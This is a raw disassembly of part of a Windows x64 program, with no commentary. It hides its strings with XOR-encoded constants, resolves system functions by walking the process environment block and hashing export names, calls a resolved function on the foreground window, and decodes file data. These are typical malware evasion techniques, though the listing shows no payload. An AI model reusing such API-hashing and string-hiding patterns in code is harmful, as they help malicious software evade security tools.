movdqa xmmword [rbp + 0x1270], xmm0
lea rcx, [rbp + 0x1250]
call fcn.7ff7cbf63d9c
lea rcx, [rbp + 0x82e0]
call fcn.7ff7cbf4c344
test rax, rax
jne 0x7ff7cbf65470
mov rax, qword [rbp + 0x82d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x82d0]
xor r8d, r8d
lea edx, [r8 + 2]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf38600
lea rcx, [rbp + 0x88f8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8560]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8450]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8468]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x8618]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf7797c
call fcn.7ff7cbf78368
mov rbx, rax
test rax, rax
jne 0x7ff7cbf6561f
movabs rcx, 0x68402805f23f05fe
movabs rdx, 0x8dd7729d1b9afdc3
movabs rbx, 0x81c0a99dbb689e65
movabs r8, 0x335ae95ccccd789b
movabs r9, 0xe5934a87bd6150ba
movabs r10, 0xa998333eed206590
movabs r11, 0xa92baacfc483bd44
movabs r15, 0x6c08c6d4812e996c
mov qword [rbp + 0x9b20], r13
mov qword [rbp + 0x9b28], r12
mov qword [rbp + 0x9b30], rsi
mov qword [rbp + 0x9b38], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9b40], rax
mov qword [rbp + 0x9b48], rdi
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9b50], rax
mov qword [rbp + 0x9b58], r15
mov qword [rbp + 0x16d0], rcx
mov qword [rbp + 0x16d8], rdx
mov qword [rbp + 0x16e0], r8
mov qword [rbp + 0x16e8], r9
mov qword [rbp + 0x16f0], r10
mov qword [rbp + 0x16f8], r11
mov qword [rbp + 0x1700], rbx
mov qword [rbp + 0x1708], r15
movdqa xmm0, xmmword [rbp + 0x16d0]
pxor xmm0, xmmword [rbp + 0x9b20]
movdqa xmmword [rbp + 0x16d0], xmm0
movdqa xmm1, xmmword [rbp + 0x16e0]
pxor xmm1, xmmword [rbp + 0x9b30]
movdqa xmmword [rbp + 0x16e0], xmm1
movdqa xmm0, xmmword [rbp + 0x16f0]
pxor xmm0, xmmword [rbp + 0x9b40]
movdqa xmmword [rbp + 0x16f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1700]
pxor xmm1, xmmword [rbp + 0x9b50]
movdqa xmmword [rbp + 0x1700], xmm1
lea rcx, [rbp + 0x16d0]
call fcn.7ff7cbf63d9c
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf4c3e4
jmp 0x7ff7cbf65470
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x82d0]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov r8, qword [rbp + 0x8880]
add r8, qword [rbp + 0x8888]
mov rdx, rbx
lea rcx, [rbp + 0x82d0]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf4c3e4
or rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], r15b
jne 0x7ff7cbf6565f
cdqe
mov qword [rbp + 0x99e0], rax
lea rcx, [rax + 1]
call fcn.7ff7cbf78368
mov r8, qword [rbp + 0x99e0]
test r8, r8
jle 0x7ff7cbf656ac
mov rdx, rax
sub rbx, rax
mov r9, r8
mov r8d, 1
mov cl, byte [rbx + rdx]
sub cl, 2
mov byte [rdx], cl
add rdx, r8
sub r9, r8
jne 0x7ff7cbf65695
mov r8, qword [rbp + 0x99e0]
mov byte [r8 + rax], r15b
mov qword [rbp + 0x84b0], r15
mov qword [rbp + 0x84c0], r15
mov qword [rbp + 0x84c8], 0xf
mov rdx, rax
lea rcx, [rbp + 0x84b0]
call fcn.7ff7cbf3f4b0
mov rdx, qword [rbp + 0x8880]
add rdx, qword [rbp + 0x8888]
cmp rdx, qword [rbp + 0x84c0]
ja 0x7ff7cbf65713
lea rax, [rbp + 0x84b0]
cmp qword [rbp + 0x84c8], 0x10
cmovae rax, qword [rbp + 0x84b0]
mov qword [rbp + 0x84c0], rdx
mov byte [rax + rdx], r15b
jmp 0x7ff7cbf65729
sub rdx, qword [rbp + 0x84c0]
xor r8d, r8d
lea rcx, [rbp + 0x84b0]
call fcn.7ff7cbf3f0c8
lea rdx, [rbp + 0x84b0]
lea rcx, [rbp + 0x89a0]
call fcn.7ff7cbf3f61c
mov qword [rbp + 0x7078], r15
mov byte [rsp + 0x20], r15b
mov r9d, 1
lea r8, [rbp + 0x7040]
lea rdx, [rbp + 0x89a0]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf32f20
lea rdx, [0x7ff7cbf84370]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4cc0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rbx, qword [rax + 0x10]
lea rcx, [rbp + 0x4cc0]
call fcn.7ff7cbf376b0
test rbx, rbx
jne 0x7ff7cbf65b0f
movabs rax, 0x68402805f23f05fe
movabs rdx, 0x84d1729d1b9afdc3
movabs r8, 0xeac75985a92e4fa6
movabs r9, 0xa29b293bed696796
movabs r10, 0xa725bf8ec38ba646
movabs r11, 0x81c0a99dbb68d062
mov qword [rbp + 0x9b20], r13
mov qword [rbp + 0x9b28], r12
mov qword [rbp + 0x9b30], rsi
mov qword [rbp + 0x9b38], r14
movabs rbx, 0xccec465fcd4509f9
mov qword [rbp + 0x9b40], rbx
mov qword [rbp + 0x9b48], rdi
movabs rcx, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9b50], rcx
movabs rcx, 0x6c08c6d4812e996c
mov qword [rbp + 0x9b58], rcx
mov qword [rbp + 0x1690], rax
mov qword [rbp + 0x1698], rdx
movabs rcx, 0x3517e95d85c83783
mov qword [rbp + 0x16a0], rcx
mov qword [rbp + 0x16a8], r8
mov qword [rbp + 0x16b0], r9
mov qword [rbp + 0x16b8], r10
mov qword [rbp + 0x16c0], r11
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0x16c8], rax
movdqa xmm0, xmmword [rbp + 0x1690]
pxor xmm0, xmmword [rbp + 0x9b20]
movdqa xmmword [rbp + 0x1690], xmm0
movdqa xmm1, xmmword [rbp + 0x16a0]
pxor xmm1, xmmword [rbp + 0x9b30]
movdqa xmmword [rbp + 0x16a0], xmm1
movdqa xmm0, xmmword [rbp + 0x16b0]
pxor xmm0, xmmword [rbp + 0x9b40]
movdqa xmmword [rbp + 0x16b0], xmm0
movdqa xmm1, xmmword [rbp + 0x16c0]
pxor xmm1, xmmword [rbp + 0x9b50]
movdqa xmmword [rbp + 0x16c0], xmm1
lea rcx, [rbp + 0x1690]
call fcn.7ff7cbf63d9c
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x4294963bd105ac0
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], r12
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x150], xmm0
movabs rax, 0x70092d06be0b49c3
movabs rcx, 0x88d072860addb9c9
movabs rdx, 0x2e58ea5f858e729b
movabs r8, 0xa39f5687b23548a5
movabs r9, 0xa88d2933a332669d
movabs r10, 0xc642b0c7c68da80a
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x9a40], rbx
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x1580], rax
mov qword [rbp + 0x1588], rcx
mov qword [rbp + 0x1590], rdx
mov qword [rbp + 0x1598], r8
mov qword [rbp + 0x15a0], r9
mov qword [rbp + 0x15a8], r10
movdqa xmm0, xmmword [rbp + 0x1580]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1580], xmm0
movdqa xmm1, xmmword [rbp + 0x1590]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x1590], xmm1
movdqa xmm0, xmmword [rbp + 0x15a0]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x15a0], xmm0
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x7ff7cbf65a9c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x7ff7cbf65a9c
mov edi, dword [r10 + 0x20]
mov r14d, 1
dec r9d
lea rcx, [rdx + r9*4]
mov r8d, dword [rcx + rdi]
add r8, rdx
mov r11d, 0x4831e9df
mov cl, byte [r8]
add r8, r14
test cl, cl
je 0x7ff7cbf65a97
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
add r8, r14
test cl, cl
jne 0x7ff7cbf65a77
cmp r11d, 0x306d25ce
je 0x7ff7cbf65aa1
test r9d, r9d
jne 0x7ff7cbf65a59
mov rax, qword [rax]
jmp 0x7ff7cbf65a2e
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
xor r9d, r9d
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x1580]
mov rcx, rsi
call r10
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf4c3e4
nop
mov dl, byte [rbp + 0x8400]
lea rcx, [rbp + 0x8408]
call fcn.7ff7cbf4d034
nop
lea rcx, [rbp + 0x89a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x84b0]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf65470
lea rdx, [0x7ff7cbf83df0]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4d00]
mov rcx, rax
call fcn.7ff7cbf4d938
mov ebx, 1
mov ecx, ebx
cmp qword [rax + 0x10], r15
je 0x7ff7cbf65ba5
lea rdx, [0x7ff7cbf83df0]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rbp + 0x9aa0], 3
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4ce0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rcx, rax
lea rdx, [0x7ff7cbf83e4c]
call fcn.7ff7cbf2ab20
test al, al
jne 0x7ff7cbf65bad
mov ecx, dword [rbp + 0x9aa0]
mov bl, r15b
test cl, 2
je 0x7ff7cbf65bb9
lea rcx, [rbp + 0x4ce0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4d00]
call fcn.7ff7cbf376b0
test bl, bl
je 0x7ff7cbf65c52
lea rdx, [0x7ff7cbf83df0]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4d40]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x4d20]
call fcn.7ff7cbf5afc8
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x7ff7cbf65c1c
mov rcx, qword [rax]
lea r8, [0x7ff7cbf94668]
sub r8, rcx
mov ebx, 1
mov al, byte [rcx]
mov byte [r8 + rcx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf65c2b
lea rcx, [rbp + 0x4d20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4d40]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf65c57
mov ebx, 1
lea rdx, [0x7ff7cbf84370]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4d60]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x89c0]
call fcn.7ff7cbf5afc8
lea rcx, [rbp + 0x4d60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x89c0]
cmp qword [rbp + 0x89d8], 0x10
cmovae rcx, qword [rbp + 0x89c0]
lea rdx, [0x7ff7cbf94900]
sub rdx, rcx
mov al, byte [rcx]
mov byte [rdx + rcx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf65cc6
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x775a1617a11041c3
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], r12
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x26b0], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x26c0], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x26b0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf4c748
movabs rax, 0x70762d06be0b49c3
movabs rcx, 0x8ec20d860addc6c9
movabs rdx, 0x5c378c31ecc0729c
lea rbx, [0x7ff7cbf935e0]
cmp qword [rbp + 0x8420], r15
jne 0x7ff7cbf65df0
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
mov qword [rbp + 0xc30], rax
mov qword [rbp + 0xc38], rcx
mov qword [rbp + 0xc40], rdx
mov qword [rbp + 0xc48], r14
movdqa xmm0, xmmword [rbp + 0xc30]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xc30], xmm0
movdqa xmm1, xmmword [rbp + 0xc40]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0xc40], xmm1
lea rdx, [rbp + 0xc30]
mov rcx, rbx
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf66449
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x6c5a2706b7104bd6
mov qword [rbp + 0x170], rax
movabs rax, 0xe1b652f26fbaedc9
mov qword [rbp + 0x178], rax
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x4390], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x43a0], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x4390]
call fcn.7ff7cbf3f4b0
mov qword [rbp + 0x43b0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x43c0], xmm0
lea rdx, [rbp + 0x8410]
lea rcx, [rbp + 0x43b0]
call fcn.7ff7cbf3ba50
lea r8, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea rcx, [rbp + 0x8b00]
call fcn.7ff7cbf4c4e4
mov r8d, 4
lea rdx, [0x7ff7cbf83eb8]
lea rcx, [rbp + 0x26b0]
call fcn.7ff7cbf3f050
mov qword [rbp + 0x8860], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x8870], xmm0
lea rcx, [rbp + 0x8ae0]
call fcn.7ff7cbf51ee0
mov qword [rbp + 0x43d0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x43e0], xmm0
lea rdx, [rbp + 0x8410]
lea rcx, [rbp + 0x43d0]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], r12
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x43f0], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x4400], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x43f0]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x4410], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4420], xmm0
lea rdx, [rbp + 0x8b00]
lea rcx, [rbp + 0x4410]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x4430], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x4440], xmm0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x4430]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x4410]
lea rdx, [rbp + 0x4430]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x4450], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4460], xmm0
lea rdx, [0x7ff7cbf93600]
lea rcx, [rbp + 0x4450]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x6144280da0075bd0
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r12
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x4470], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x4480], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x4470]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x4450]
lea rdx, [rbp + 0x4470]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x37e0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x37f0], xmm0
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x37e0]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], r12
movdqa xmm0, xmmword [rbp + 0x1b0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x3500], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3510], xmm0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x3500]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x37e0]
lea rdx, [rbp + 0x3500]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3520], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3530], xmm0
lea rdx, [rbp + 0x26b0]
lea rcx, [rbp + 0x3520]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x65471606b50345cc
mov qword [rbp + 0x1c0], rax
movabs rax, 0xe1b652f26fbafccb
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x3540], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3550], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x3540]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x3520]
lea rdx, [rbp + 0x3540]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3560], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3570], xmm0
lea rdx, [rbp + 0x8ae0]
lea rcx, [rbp + 0x3560]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x714b1606b50345cc
mov qword [rbp + 0x1d0], rax
movabs rax, 0xe1b652f21ddfffc0
mov qword [rbp + 0x1d8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x3580], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3590], xmm0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3580]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x3560]
lea rdx, [rbp + 0x3580]
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x47c0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8860]
lea rdx, [rbp + 0x47c0]
lea rcx, [rbp + 0x9480]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x47c0]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x1e0], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x1e8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x35a0], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x35b0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x35a0]
call fcn.7ff7cbf3f4b0
mov qword [rbp + 0x3640], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3650], xmm0
lea rdx, [rbp + 0x9480]
lea rcx, [rbp + 0x3640]
call fcn.7ff7cbf3ba50
lea r8, [rbp + 0x35a0]
lea rdx, [rbp + 0x3640]
lea rcx, [rbp + 0x8e20]
call fcn.7ff7cbf58a40
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x2070], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x2078], rax
movdqa xmm0, xmmword [rbp + 0x2070]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x2070], xmm0
lea rcx, [rbp + 0x8e20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9480]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ae0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8860]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x26b0]
call fcn.7ff7cbf376b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x7ff7cbf664e6
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x7ff7cbf664e6
mov r8d, dword [r10 + 0x20]
dec r9d
mov ecx, r9d
mov qword [rsp + 0x68], rcx
lea rcx, [r8 + r9*4]
mov r8d, dword [rcx + rdx]
add r8, rdx
mov r11d, 0xe850081
mov cl, byte [r8]
inc r8
test cl, cl
je 0x7ff7cbf664dd
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x7ff7cbf664bd
cmp r11d, 0xcb68d655
je 0x7ff7cbf664eb
test r9d, r9d
mov r8d, dword [r10 + 0x20]
jne 0x7ff7cbf66497
mov rax, qword [rax]
jmp 0x7ff7cbf66472
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
mov r8, qword [rsp + 0x68]
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x7ff7cbf54aa4]
xor edx, edx
xor ecx, ecx
call r10
mov qword [0x7ff7cbf931d8], rax
cmp rax, 0xffffffffffffffff
jne 0x7ff7cbf66ccf
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
movabs rax, 0x516a0c30f23f05fe
mov qword [rbp + 0xb10], rax
movabs rax, 0xaaf517ba2ce5dcf4
mov qword [rbp + 0xb18], rax
movabs rax, 0x1965d97da5ef51a8
mov qword [rbp + 0xb20], rax
movabs rax, 0x83b338e8db0d7f97
mov qword [rbp + 0xb28], rax
movdqa xmm0, xmmword [rbp + 0xb10]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xb10], xmm0
movdqa xmm1, xmmword [rbp + 0xb20]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0xb20], xmm1
lea r8, [0x7ff7cbf935a0]
lea rdx, [rbp + 0xb10]
lea rcx, [rbp + 0x4d80]
call fcn.7ff7cbf2ae10
mov rdx, rax
lea r8, [0x7ff7cbf7e618]
lea rcx, [rbp + 0x8c60]
call fcn.7ff7cbf2ac80
lea rcx, [rbp + 0x4d80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8c60]
cmp qword [rbp + 0x8c78], 0x10
cmovae rcx, qword [rbp + 0x8c60]
call fcn.7ff7cbf63d9c
mov qword [rbp + 0x3250], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3260], xmm0
lea rdx, [rbp + 0x8c60]
lea rcx, [rbp + 0x3250]
call fcn.7ff7cbf3ba50
lea rcx, [rbp + 0x8640]
call fcn.7ff7cbf4c748
mov qword [rbp + 0x9ba0], r13
mov qword [rbp + 0x9ba8], r12
mov qword [rbp + 0x9bb0], rsi
mov qword [rbp + 0x9bb8], r14
cmp qword [rbp + 0x8650], r15
jne 0x7ff7cbf666f2
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xc70], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xc78], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xc80], rax
mov qword [rbp + 0xc88], r14
movdqa xmm0, xmmword [rbp + 0xc70]
pxor xmm0, xmmword [rbp + 0x9ba0]
movdqa xmmword [rbp + 0xc70], xmm0
movdqa xmm1, xmmword [rbp + 0xc80]
pxor xmm1, xmmword [rbp + 0x9bb0]
movdqa xmmword [rbp + 0xc80], xmm1
lea rdx, [rbp + 0xc70]
mov rcx, rbx
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf66c86
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xc90], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xc98], rax
mov qword [rbp + 0xca0], rsi
mov qword [rbp + 0xca8], r14
movdqa xmm0, xmmword [rbp + 0xc90]
pxor xmm0, xmmword [rbp + 0x9ba0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
pxor xmm1, xmmword [rbp + 0x9bb0]
movdqa xmmword [rbp + 0xca0], xmm1
mov qword [rbp + 0x3660], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3670], xmm0
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x3660]
call fcn.7ff7cbf3f4b0
mov qword [rbp + 0x3680], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3690], xmm0
lea rdx, [rbp + 0x8640]
lea rcx, [rbp + 0x3680]
call fcn.7ff7cbf3ba50
lea r8, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x88b8], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x88c8], xmm0
mov qword [rbp + 0x36a0], r15
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x36b0], xmm1
lea rdx, [rbp + 0x8640]
